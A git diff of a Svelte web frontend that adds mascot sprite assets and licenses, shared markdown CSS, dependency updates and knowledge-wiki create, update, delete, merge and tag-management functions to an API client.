<script src="/wails/runtime.js"></script>
|
||||
<script>window.__OIKOS_CONFIG__ = {};</script>
|
||||
<script>
|
||||
window.__OIKOS_CONFIG__ = {}
|
||||
</script>
|
||||
<script type="module" src="/src/main.ts"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
22
web/package-lock.json
generated
@@ -18,11 +18,13 @@
|
||||
"uplot": "^1.6.32"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@lucide/svelte": "^1.23.0",
|
||||
"@internationalized/date": "^3.12.2",
|
||||
"@lucide/svelte": "^1.25.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||
"@tailwindcss/vite": "^4.3.2",
|
||||
"@tsconfig/svelte": "^5.0.0",
|
||||
"@types/d3-force": "^3.0.10",
|
||||
"@vincjo/datatables": "^2.8.1",
|
||||
"bits-ui": "^2.18.1",
|
||||
"eslint": "^9.0.0",
|
||||
"eslint-plugin-svelte": "^2.46.0",
|
||||
@@ -869,7 +871,6 @@
|
||||
"integrity": "sha512-FY1Y+H64NDs+HAF6omlnWxm3mEpfgaCSWtL5l551ZZfImA+kGjPFgrnJrGjH6lfmLL0g8Z/mBu1R3kufeCp6Jw==",
|
||||
"dev": true,
|
||||
"license": "Apache-2.0",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@swc/helpers": "^0.5.0"
|
||||
}
|
||||
@@ -920,9 +921,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@lucide/svelte": {
|
||||
"version": "1.23.0",
|
||||
"resolved": "https://registry.npmjs.org/@lucide/svelte/-/svelte-1.23.0.tgz",
|
||||
"integrity": "sha512-3LQbKXx9vId6Nx4E2Nu2qwgJfdmr5+CVeVJbxe5cy+HcnCRd9QVVtZXqvgBYAV1OJrPmQAf9/3gJWLCpASC/Ng==",
|
||||
"version": "1.25.0",
|
||||
"resolved": "https://registry.npmjs.org/@lucide/svelte/-/svelte-1.25.0.tgz",
|
||||
"integrity": "sha512-v9m+dD68jxVnqkU3K59mG/RSRFlPGzmKCGSyMfnXcaGv9jODDQMyQkcp1CGvk3Y/cUj9v7f8rw1n//K0B53xGQ==",
|
||||
"dev": true,
|
||||
"license": "ISC",
|
||||
"peerDependencies": {
|
||||
@@ -1377,7 +1378,6 @@
|
||||
"integrity": "sha512-5lSsMOTXURePglDfvuAQUqkGek9Hg2kksOYay2m0+XR++b2NWYL/4sWyuvVBIs8oKnJaxkdi9whaL/sqN13afw==",
|
||||
"dev": true,
|
||||
"license": "Apache-2.0",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.8.0"
|
||||
}
|
||||
@@ -1969,6 +1969,16 @@
|
||||
"url": "https://opencollective.com/eslint"
|
||||
}
|
||||
},
|
||||
"node_modules/@vincjo/datatables": {
|
||||
"version": "2.8.1",
|
||||
"resolved": "https://registry.npmjs.org/@vincjo/datatables/-/datatables-2.8.1.tgz",
|
||||
"integrity": "sha512-rWl17XkriNyX3fFB5GSThLlhlPDKchFMMSCuaeSYbZCokkwSACjTLtk9v3gg4PltUaXMsJ2XjQcpnPeKJ0xa5A==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"svelte": "^5.56.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@vitest/expect": {
|
||||
"version": "2.1.9",
|
||||
"resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-2.1.9.tgz",
|
||||
|
||||
@@ -17,11 +17,13 @@
|
||||
"test:watch": "vitest"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@lucide/svelte": "^1.23.0",
|
||||
"@internationalized/date": "^3.12.2",
|
||||
"@lucide/svelte": "^1.25.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||
"@tailwindcss/vite": "^4.3.2",
|
||||
"@tsconfig/svelte": "^5.0.0",
|
||||
"@types/d3-force": "^3.0.10",
|
||||
"@vincjo/datatables": "^2.8.1",
|
||||
"bits-ui": "^2.18.1",
|
||||
"eslint": "^9.0.0",
|
||||
"eslint-plugin-svelte": "^2.46.0",
|
||||
|
||||
20
web/public/mascot/LICENSE-eggs.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
Eggs
|
||||
By Onocentaur
|
||||
https://onocentaur.itch.io
|
||||
March 2021
|
||||
|
||||
Description
|
||||
350+ pixel art eggs for your next virtual pet/match 3/farming/holiday themed game.
|
||||
|
||||
This pack contains:
|
||||
⁃ Over 350 16x16px eggs.
|
||||
⁃ 32 egg designs, 11 color variants.
|
||||
⁃ 2 different cracking animations for each egg.
|
||||
⁃ Spritesheets for each color variant and cracking pattern.
|
||||
⁃ Transparent PNGs.
|
||||
⁃ Template files so you can color your own eggs.
|
||||
⁃ Bonus: Letter & Number eggs.
|
||||
⁃ Bonus: Incubator assets (nesting box and toggle-able lamp).
|
||||
⁃ Bonus: 12 Animal assets.
|
||||
|
||||
Free to use for personal & professional projects. Attribution appreciated. If you use these assets in your project, let me know! I look forward to seeing what you make.
|
||||
5
web/public/mascot/LICENSE.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
|
||||
CC0 1.0 Universal (CC0 1.0) Public Domain Dedication
|
||||
|
||||
The person who associated a work with this deed has dedicated the work to the public domain by waiving all of his or her rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law.
|
||||
You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission.
|
||||
BIN
web/public/mascot/blink.png
Normal file
|
After Width: | Height: | Size: 343 B |
BIN
web/public/mascot/egg-crack.png
Normal file
|
After Width: | Height: | Size: 167 B |
BIN
web/public/mascot/egg-idle.png
Normal file
|
After Width: | Height: | Size: 132 B |
BIN
web/public/mascot/egg-shell.png
Normal file
|
After Width: | Height: | Size: 112 B |
BIN
web/public/mascot/hurt.png
Normal file
|
After Width: | Height: | Size: 416 B |
BIN
web/public/mascot/idle.png
Normal file
|
After Width: | Height: | Size: 368 B |
BIN
web/public/mascot/jump.png
Normal file
|
After Width: | Height: | Size: 335 B |
BIN
web/public/mascot/peck.png
Normal file
|
After Width: | Height: | Size: 382 B |
BIN
web/public/mascot/peep.png
Normal file
|
After Width: | Height: | Size: 295 B |
BIN
web/public/mascot/react-displeased.png
Normal file
|
After Width: | Height: | Size: 330 B |
BIN
web/public/mascot/react-joy.png
Normal file
|
After Width: | Height: | Size: 379 B |
BIN
web/public/mascot/react-sigh.png
Normal file
|
After Width: | Height: | Size: 365 B |
BIN
web/public/mascot/react-surprise.png
Normal file
|
After Width: | Height: | Size: 361 B |
BIN
web/public/mascot/react-yell.png
Normal file
|
After Width: | Height: | Size: 346 B |
BIN
web/public/mascot/sleep.png
Normal file
|
After Width: | Height: | Size: 331 B |
BIN
web/public/mascot/walk.png
Normal file
|
After Width: | Height: | Size: 375 B |
BIN
web/public/mascot/walk2.png
Normal file
|
After Width: | Height: | Size: 390 B |
110
web/src/app.css
@@ -2,6 +2,17 @@
|
||||
|
||||
@custom-variant dark (&:is(.dark *));
|
||||
|
||||
/* bits-ui components (Slider, and any future orientation/disabled-aware
|
||||
primitive) style themselves via shorthand data-* variants that Tailwind
|
||||
v4 doesn't ship — it only auto-generates variants for bare boolean data
|
||||
attributes (data-disabled), not attribute=value pairs like
|
||||
data-orientation="horizontal". Without these, e.g. Slider's track silently
|
||||
collapses to 0 height (no h-1.5 class survives), leaving only the thumb
|
||||
visible with no visible rail. */
|
||||
@custom-variant data-horizontal (&[data-orientation='horizontal']);
|
||||
@custom-variant data-vertical (&[data-orientation='vertical']);
|
||||
@custom-variant data-disabled (&[data-disabled]);
|
||||
|
||||
@theme inline {
|
||||
--font-sans: 'DM Sans', system-ui, sans-serif;
|
||||
--font-mono: 'DM Mono', ui-monospace, 'SF Mono', Menlo, Consolas, monospace;
|
||||
@@ -73,7 +84,7 @@
|
||||
--chart-3: oklch(0.5 0.08 30);
|
||||
--chart-4: oklch(0.6 0.06 90);
|
||||
--chart-5: oklch(0.4 0.04 45);
|
||||
--sidebar: oklch(0.90 0.025 55);
|
||||
--sidebar: oklch(0.9 0.025 55);
|
||||
--sidebar-foreground: oklch(0.18 0.03 45);
|
||||
--sidebar-primary: oklch(0.55 0.14 45);
|
||||
--sidebar-primary-foreground: oklch(0.95 0.02 55);
|
||||
@@ -148,7 +159,6 @@
|
||||
--accent-orange: var(--warning);
|
||||
}
|
||||
|
||||
|
||||
/* Terminal-style block cursor — outside @layer so it overrides CodeMirror */
|
||||
.cm-cursor,
|
||||
.cm-cursor-primary {
|
||||
@@ -170,7 +180,12 @@
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5,
|
||||
h6 {
|
||||
font-family: var(--font-heading);
|
||||
}
|
||||
|
||||
@@ -318,3 +333,92 @@ a:hover {
|
||||
border-left: 1px solid var(--border);
|
||||
cursor: col-resize;
|
||||
}
|
||||
|
||||
/* Base markdown rendering — used by every {@html marked.parse(...)} output
|
||||
(EntityDetailContent, the Knowledge wiki's WikiReader, and as the
|
||||
foundation ChatThread's fuller "Art Nouveau" chat styling builds on top
|
||||
of). Global rather than a per-component <style> block: Svelte scopes
|
||||
<style> to one component, so three separate copies of this same ~50-line
|
||||
ruleset had accumulated (EntityDetailContent's copy was already a
|
||||
documented "can't share, Svelte scopes styles" duplicate of ChatThread's,
|
||||
and WikiReader added a third when the Knowledge wiki was built). Anything
|
||||
that renders sanitized markdown into an .markdown-body container gets
|
||||
this for free; a component only needs its own <style> block for looks
|
||||
that genuinely diverge from this baseline (see ChatThread.svelte's
|
||||
trimmed-down block for the pattern: same class, only the deltas kept,
|
||||
using a two-class selector so its overrides win on specificity rather
|
||||
than depending on <style> injection order).
|
||||
Includes explicit list-style-type — Tailwind's preflight reset (@import
|
||||
'tailwindcss' above) strips it from every <ul>/<ol>, so without this,
|
||||
markdown bullet/numbered lists silently render with no markers. */
|
||||
.markdown-body p {
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
.markdown-body p:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.markdown-body ul,
|
||||
.markdown-body ol {
|
||||
margin: 0 0 0.5rem;
|
||||
padding-left: 1.25rem;
|
||||
}
|
||||
.markdown-body ul {
|
||||
list-style-type: disc;
|
||||
}
|
||||
.markdown-body ol {
|
||||
list-style-type: decimal;
|
||||
}
|
||||
.markdown-body li {
|
||||
margin-bottom: 0.125rem;
|
||||
}
|
||||
.markdown-body code {
|
||||
background: var(--muted);
|
||||
border-radius: 4px;
|
||||
padding: 0.1em 0.35em;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.85em;
|
||||
}
|
||||
.markdown-body pre {
|
||||
background: var(--muted);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
padding: 0.625rem 0.75rem;
|
||||
overflow-x: auto;
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
.markdown-body pre code {
|
||||
background: none;
|
||||
padding: 0;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
.markdown-body h1,
|
||||
.markdown-body h2,
|
||||
.markdown-body h3 {
|
||||
font-weight: 600;
|
||||
margin: 0.75rem 0 0.375rem;
|
||||
font-size: 1em;
|
||||
}
|
||||
.markdown-body table {
|
||||
border-collapse: collapse;
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
.markdown-body th,
|
||||
.markdown-body td {
|
||||
border: 1px solid var(--border);
|
||||
padding: 0.25rem 0.5rem;
|
||||
text-align: left;
|
||||
}
|
||||
.markdown-body blockquote {
|
||||
border-left: 3px solid var(--border);
|
||||
padding-left: 0.75rem;
|
||||
color: var(--muted-foreground);
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
.markdown-body a {
|
||||
color: var(--primary);
|
||||
text-decoration: none;
|
||||
}
|
||||
.markdown-body a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
@@ -112,7 +112,11 @@ export async function fetchQuestions(sessionId: string): Promise<SessionQuestion
|
||||
return data.questions ?? []
|
||||
}
|
||||
|
||||
export async function answerQuestion(sessionId: string, questionId: string, answer: string): Promise<boolean> {
|
||||
export async function answerQuestion(
|
||||
sessionId: string,
|
||||
questionId: string,
|
||||
answer: string
|
||||
): Promise<boolean> {
|
||||
const res = await fetchWithAuth(`${BASE}/sessions/${sessionId}/questions/${questionId}/answer`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ answer })
|
||||
@@ -133,42 +137,45 @@ export function streamChat(
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ message, session_id: sessionId ?? undefined }),
|
||||
signal: controller.signal
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
onError(`HTTP ${res.status}`)
|
||||
return
|
||||
}
|
||||
const reader = res.body?.getReader()
|
||||
if (!reader) {
|
||||
onError('no response body')
|
||||
return
|
||||
}
|
||||
const decoder = new TextDecoder()
|
||||
let buffer = ''
|
||||
})
|
||||
.then(async (res) => {
|
||||
if (!res.ok) {
|
||||
onError(`HTTP ${res.status}`)
|
||||
return
|
||||
}
|
||||
const reader = res.body?.getReader()
|
||||
if (!reader) {
|
||||
onError('no response body')
|
||||
return
|
||||
}
|
||||
const decoder = new TextDecoder()
|
||||
let buffer = ''
|
||||
|
||||
while (true) {
|
||||
const { done, value } = await reader.read()
|
||||
if (done) break
|
||||
buffer += decoder.decode(value, { stream: true })
|
||||
const lines = buffer.split('\n')
|
||||
buffer = lines.pop() ?? ''
|
||||
while (true) {
|
||||
const { done, value } = await reader.read()
|
||||
if (done) break
|
||||
buffer += decoder.decode(value, { stream: true })
|
||||
const lines = buffer.split('\n')
|
||||
buffer = lines.pop() ?? ''
|
||||
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
const ev: ChatEvent = JSON.parse(line.slice(6))
|
||||
onEvent(ev)
|
||||
} catch {
|
||||
// skip malformed
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
const ev: ChatEvent = JSON.parse(line.slice(6))
|
||||
onEvent(ev)
|
||||
} catch {
|
||||
// skip malformed
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}).catch((err) => {
|
||||
onError(err.message)
|
||||
}).finally(() => {
|
||||
onDone()
|
||||
})
|
||||
})
|
||||
.catch((err) => {
|
||||
onError(err.message)
|
||||
})
|
||||
.finally(() => {
|
||||
onDone()
|
||||
})
|
||||
|
||||
return controller
|
||||
}
|
||||
@@ -291,7 +298,9 @@ export interface EventFilters {
|
||||
severity?: string
|
||||
}
|
||||
|
||||
export async function fetchEvents(filters: EventFilters = {}): Promise<import('./stores/events').OikosEvent[]> {
|
||||
export async function fetchEvents(
|
||||
filters: EventFilters = {}
|
||||
): Promise<import('./stores/events').OikosEvent[]> {
|
||||
const params = new URLSearchParams()
|
||||
if (filters.type) params.set('type', filters.type)
|
||||
if (filters.severity) params.set('severity', filters.severity)
|
||||
@@ -483,7 +492,9 @@ export interface Signal {
|
||||
last_seen_at: string
|
||||
}
|
||||
|
||||
export async function fetchSignals(filters: { state?: string; severity?: string } = {}): Promise<Signal[]> {
|
||||
export async function fetchSignals(
|
||||
filters: { state?: string; severity?: string } = {}
|
||||
): Promise<Signal[]> {
|
||||
const params = new URLSearchParams()
|
||||
if (filters.state) params.set('state', filters.state)
|
||||
if (filters.severity) params.set('severity', filters.severity)
|
||||
@@ -509,7 +520,11 @@ export async function resolveSignal(id: string, note?: string): Promise<Signal |
|
||||
return res.json()
|
||||
}
|
||||
|
||||
export async function muteSignal(id: string, muteUntil: string, note?: string): Promise<Signal | null> {
|
||||
export async function muteSignal(
|
||||
id: string,
|
||||
muteUntil: string,
|
||||
note?: string
|
||||
): Promise<Signal | null> {
|
||||
const res = await fetchWithAuth(`${API}/signals/${id}/mute`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ mute_until: muteUntil, note })
|
||||
@@ -533,7 +548,9 @@ export interface Relationship {
|
||||
// reachable going forward from here), this hits a dedicated endpoint that
|
||||
// matches on source_id OR target_id directly.
|
||||
export async function fetchEntityRelations(id: string): Promise<Relationship[]> {
|
||||
const res = await fetchWithAuth(`${API}/entities/${encodeURIComponent(id)}/relations?direction=both`)
|
||||
const res = await fetchWithAuth(
|
||||
`${API}/entities/${encodeURIComponent(id)}/relations?direction=both`
|
||||
)
|
||||
if (!res.ok) return []
|
||||
const data = await res.json()
|
||||
return data.items ?? []
|
||||
@@ -658,8 +675,10 @@ export interface KnowledgeContent {
|
||||
title: string
|
||||
content: string
|
||||
source: string
|
||||
edited_by: string
|
||||
tags: string[]
|
||||
updated_at: string
|
||||
revisions: number
|
||||
}
|
||||
|
||||
// Full markdown body for a document/investigation/runbook entity — distinct
|
||||
@@ -671,7 +690,262 @@ export async function fetchKnowledgeContent(id: string): Promise<KnowledgeConten
|
||||
return res.json()
|
||||
}
|
||||
|
||||
export async function fetchEntityEvents(entityId: string): Promise<import('./stores/events').OikosEvent[]> {
|
||||
// ─── Knowledge wiki: write path + drift tooling ────────────────────────────
|
||||
//
|
||||
// Everything below this line talks to internal/httpapi/knowledge_write.go
|
||||
// and knowledge_drift.go — the operator-facing CRUD surface added alongside
|
||||
// the wiki redesign. Before this, the only writer was the MCP tool the agent
|
||||
// uses; the web UI could search and read but never create, correct, or
|
||||
// retire a note.
|
||||
//
|
||||
// Mutations throw KnowledgeApiError on failure instead of returning null —
|
||||
// unlike the read helpers above, a write failure usually has a specific,
|
||||
// user-facing reason (409 "a note with this title already exists", 400
|
||||
// "content cannot be empty") that the caller needs to display, not just a
|
||||
// generic "something went wrong."
|
||||
|
||||
// Mirrors the RFC7807 problem+json shape internal/httpapi/problem.go writes.
|
||||
export class KnowledgeApiError extends Error {
|
||||
status: number
|
||||
detail: string
|
||||
constructor(status: number, title: string, detail: string) {
|
||||
super(title)
|
||||
this.status = status
|
||||
this.detail = detail
|
||||
}
|
||||
}
|
||||
|
||||
async function parseKnowledgeError(res: Response): Promise<never> {
|
||||
let title = `request failed (${res.status})`
|
||||
let detail = ''
|
||||
try {
|
||||
const body = await res.json()
|
||||
title = body.title ?? title
|
||||
detail = body.detail ?? ''
|
||||
} catch {
|
||||
// non-JSON error body — fall back to the generic title above
|
||||
}
|
||||
throw new KnowledgeApiError(res.status, title, detail)
|
||||
}
|
||||
|
||||
export interface KnowledgeListItem {
|
||||
id: string
|
||||
slug: string
|
||||
title: string
|
||||
kind: 'document' | 'runbook' | 'investigation'
|
||||
source: string
|
||||
edited_by: string
|
||||
tags: string[]
|
||||
about: string[]
|
||||
size: number
|
||||
updated_at: string
|
||||
created_at: string
|
||||
revisions: number
|
||||
}
|
||||
|
||||
// The full live set, body-free — backs the wiki navigator tree. Distinct
|
||||
// from fetchRecentKnowledge, which caps at 200 and drives the stats/recency
|
||||
// view; the tree needs every note plus linked-entity slugs for the
|
||||
// group-by-entity arrangement.
|
||||
// Throws KnowledgeApiError on failure rather than returning [] — an empty
|
||||
// list here must mean "the collection really is empty," never "the request
|
||||
// failed." Silently treating a 500/network error as [] previously left the
|
||||
// whole wiki reporting "0 notes" indistinguishable from an actual outage;
|
||||
// see Knowledge.svelte's loadItems for how the caller surfaces this.
|
||||
export async function listKnowledge(): Promise<KnowledgeListItem[]> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/list`)
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
const data = await res.json()
|
||||
return data.items ?? []
|
||||
}
|
||||
|
||||
export interface KnowledgeWriteInput {
|
||||
title?: string
|
||||
content?: string
|
||||
kind?: 'document' | 'investigation' | 'runbook'
|
||||
tags?: string[]
|
||||
folder?: string
|
||||
about?: string[]
|
||||
}
|
||||
|
||||
export async function createKnowledge(
|
||||
input: KnowledgeWriteInput
|
||||
): Promise<{ slug: string; id: string; linked: string[] }> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(input)
|
||||
})
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
return res.json()
|
||||
}
|
||||
|
||||
// idOrSlug identifies the note; only the fields present in `input` are
|
||||
// changed (undefined = leave alone), matching the PUT handler's COALESCE
|
||||
// semantics — see knowledge_write.go's serveUpdateKnowledge.
|
||||
// `linked` echoes back which `about` slugs actually resolved (only present
|
||||
// when `input.about` was supplied) — a typo'd entity slug otherwise fails
|
||||
// server-side with nothing but a log line, so the caller can diff this
|
||||
// against what it sent and warn about anything that silently didn't take.
|
||||
export async function updateKnowledge(
|
||||
idOrSlug: string,
|
||||
input: KnowledgeWriteInput
|
||||
): Promise<{ linked?: string[] }> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/content/${encodeURIComponent(idOrSlug)}`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify(input)
|
||||
})
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
return res.json()
|
||||
}
|
||||
|
||||
// Soft delete — the note moves to the trash (fetchKnowledgeTrash) and can be
|
||||
// brought back with restoreKnowledge. Never a hard, unrecoverable delete.
|
||||
export async function deleteKnowledge(idOrSlug: string): Promise<void> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/content/${encodeURIComponent(idOrSlug)}`, {
|
||||
method: 'DELETE'
|
||||
})
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
}
|
||||
|
||||
export async function restoreKnowledge(idOrSlug: string): Promise<void> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/restore/${encodeURIComponent(idOrSlug)}`, {
|
||||
method: 'POST'
|
||||
})
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
}
|
||||
|
||||
export interface KnowledgeTrashItem {
|
||||
slug: string
|
||||
title: string
|
||||
kind: string
|
||||
deleted_by: string
|
||||
deleted_at: string
|
||||
}
|
||||
|
||||
// Throws on failure — see listKnowledge's comment on why "empty" and
|
||||
// "failed" must not collapse into the same [].
|
||||
export async function fetchKnowledgeTrash(): Promise<KnowledgeTrashItem[]> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/trash`)
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
const data = await res.json()
|
||||
return data.items ?? []
|
||||
}
|
||||
|
||||
export interface KnowledgeRevision {
|
||||
id: number
|
||||
title: string
|
||||
content: string
|
||||
edited_by: string
|
||||
tags: string[]
|
||||
version_at: string
|
||||
revised_at: string
|
||||
}
|
||||
|
||||
// Newest first. Works even for a soft-deleted note — inspecting what was
|
||||
// lost is exactly when history matters most (see resolveKnowledgeEntityAny
|
||||
// in knowledge_write.go).
|
||||
export async function fetchKnowledgeRevisions(idOrSlug: string): Promise<KnowledgeRevision[]> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/revisions/${encodeURIComponent(idOrSlug)}`)
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
const data = await res.json()
|
||||
return data.items ?? []
|
||||
}
|
||||
|
||||
export interface KnowledgeTag {
|
||||
tag: string
|
||||
uses: number
|
||||
variants: string[]
|
||||
// True when the same tag is stored under more than one casing (e.g.
|
||||
// "oom" / "OOM") — the tag manager badges these as needing a normalize.
|
||||
split: boolean
|
||||
}
|
||||
|
||||
export async function fetchKnowledgeTags(): Promise<KnowledgeTag[]> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/tags`)
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
const data = await res.json()
|
||||
return data.items ?? []
|
||||
}
|
||||
|
||||
// Rewrites every `from` tag to `to` across all live notes. Pass several
|
||||
// `from` values to merge them into one; pass a tag's own case variants to
|
||||
// normalize casing.
|
||||
export async function renameKnowledgeTag(from: string[], to: string): Promise<number> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/tags/rename`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ from, to })
|
||||
})
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
const data = await res.json()
|
||||
return data.notes_updated ?? 0
|
||||
}
|
||||
|
||||
export interface KnowledgeDuplicateMember {
|
||||
slug: string
|
||||
title: string
|
||||
kind: string
|
||||
size: number
|
||||
updated_at: string
|
||||
edited_by: string
|
||||
}
|
||||
|
||||
export interface KnowledgeDuplicateCluster {
|
||||
members: KnowledgeDuplicateMember[]
|
||||
top_similarity: number
|
||||
total_size: number
|
||||
}
|
||||
|
||||
// Title-similarity clusters — candidates for review, never a verdict. See
|
||||
// the Go handler: notes that share a naming template (e.g. the five
|
||||
// "Lifecycle: <verb> a node" runbooks) can cluster here despite being
|
||||
// genuinely distinct documents, so the UI must let the operator inspect
|
||||
// each cluster rather than offering a blind "merge all."
|
||||
export async function fetchKnowledgeDuplicates(
|
||||
threshold?: number
|
||||
): Promise<KnowledgeDuplicateCluster[]> {
|
||||
const params = threshold ? `?threshold=${threshold}` : ''
|
||||
const res = await fetchWithAuth(`${API}/knowledge/duplicates${params}`)
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
const data = await res.json()
|
||||
return data.clusters ?? []
|
||||
}
|
||||
|
||||
export interface KnowledgeOrphan {
|
||||
slug: string
|
||||
title: string
|
||||
kind: string
|
||||
edited_by: string
|
||||
updated_at: string
|
||||
reasons: ('untagged' | 'unlinked' | 'stale')[]
|
||||
}
|
||||
|
||||
export async function fetchKnowledgeOrphans(
|
||||
staleDays?: number
|
||||
): Promise<{ items: KnowledgeOrphan[]; counts: Record<string, number> }> {
|
||||
const params = staleDays ? `?stale_days=${staleDays}` : ''
|
||||
const res = await fetchWithAuth(`${API}/knowledge/orphans${params}`)
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
return res.json()
|
||||
}
|
||||
|
||||
// Folds `sources` into `target`: each source's body is appended under a
|
||||
// provenance heading, tags are unioned, and the sources are soft-deleted
|
||||
// (recoverable from trash, same as a plain delete).
|
||||
export async function mergeKnowledge(
|
||||
target: string,
|
||||
sources: string[]
|
||||
): Promise<{ merged: string[]; tags_added: string[] }> {
|
||||
const res = await fetchWithAuth(`${API}/knowledge/merge`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ target, sources })
|
||||
})
|
||||
if (!res.ok) return parseKnowledgeError(res)
|
||||
return res.json()
|
||||
}
|
||||
|
||||
export async function fetchEntityEvents(
|
||||
entityId: string
|
||||
): Promise<import('./stores/events').OikosEvent[]> {
|
||||
const params = new URLSearchParams({ entity_id: entityId, limit: '50' })
|
||||
const res = await fetchWithAuth(`${API}/events?${params}`)
|
||||
if (!res.ok) return []
|
||||
@@ -718,13 +992,19 @@ export async function fetchEntityTasks(entity: Entity): Promise<EntityTask[]> {
|
||||
tasks.map(async (task): Promise<EntityTask | null> => {
|
||||
const g = await fetchGraph({ root: task.slug, depth: 1 })
|
||||
if (!g) return null
|
||||
const involvesThisEntity = g.edges.some((e) => e.type === 'involves' && e.target === entity.slug)
|
||||
const involvesThisEntity = g.edges.some(
|
||||
(e) => e.type === 'involves' && e.target === entity.slug
|
||||
)
|
||||
const nodeTypeById = new Map(g.nodes.map((n) => [n.id, n.type]))
|
||||
const idBySlug = new Map(g.nodes.map((n) => [n.slug, n.id]))
|
||||
const executionCount = g.edges.filter((e) => {
|
||||
if (e.type !== 'involves') return false
|
||||
const targetId = idBySlug.get(e.target)
|
||||
return targetId != null && nodeTypeById.get(targetId) === 'execution' && executionIds.has(targetId)
|
||||
return (
|
||||
targetId != null &&
|
||||
nodeTypeById.get(targetId) === 'execution' &&
|
||||
executionIds.has(targetId)
|
||||
)
|
||||
}).length
|
||||
if (!involvesThisEntity && executionCount === 0) return null
|
||||
return { task, executionCount }
|
||||
@@ -755,7 +1035,11 @@ export async function fetchChecksForTarget(targetSlug: string): Promise<Check[]>
|
||||
return data.items ?? []
|
||||
}
|
||||
|
||||
export async function patchCheck(id: string, version: number, patch: { enabled?: boolean; interval_s?: number; timeout_s?: number }): Promise<Check | null> {
|
||||
export async function patchCheck(
|
||||
id: string,
|
||||
version: number,
|
||||
patch: { enabled?: boolean; interval_s?: number; timeout_s?: number }
|
||||
): Promise<Check | null> {
|
||||
const res = await fetchWithAuth(`${API}/checks/${id}`, {
|
||||
method: 'PATCH',
|
||||
headers: { 'If-Match': `"${version}"` },
|
||||
@@ -781,12 +1065,14 @@ export interface AgentActivity {
|
||||
correlation_id?: string | null
|
||||
}
|
||||
|
||||
export async function fetchAgentActivity(filters: {
|
||||
agent_id?: string
|
||||
activity_type?: string
|
||||
entity_id?: string
|
||||
limit?: number
|
||||
} = {}): Promise<AgentActivity[]> {
|
||||
export async function fetchAgentActivity(
|
||||
filters: {
|
||||
agent_id?: string
|
||||
activity_type?: string
|
||||
entity_id?: string
|
||||
limit?: number
|
||||
} = {}
|
||||
): Promise<AgentActivity[]> {
|
||||
const params = new URLSearchParams()
|
||||
if (filters.agent_id) params.set('agent_id', filters.agent_id)
|
||||
if (filters.activity_type) params.set('activity_type', filters.activity_type)
|
||||
@@ -821,14 +1107,16 @@ export interface AuditEntry {
|
||||
correlation_id?: string | null
|
||||
}
|
||||
|
||||
export async function fetchAudit(filters: {
|
||||
actor_type?: string
|
||||
actor_id?: string
|
||||
entity_id?: string
|
||||
action?: string
|
||||
correlation_id?: string
|
||||
limit?: number
|
||||
} = {}): Promise<AuditEntry[]> {
|
||||
export async function fetchAudit(
|
||||
filters: {
|
||||
actor_type?: string
|
||||
actor_id?: string
|
||||
entity_id?: string
|
||||
action?: string
|
||||
correlation_id?: string
|
||||
limit?: number
|
||||
} = {}
|
||||
): Promise<AuditEntry[]> {
|
||||
const params = new URLSearchParams()
|
||||
if (filters.actor_type) params.set('actor_type', filters.actor_type)
|
||||
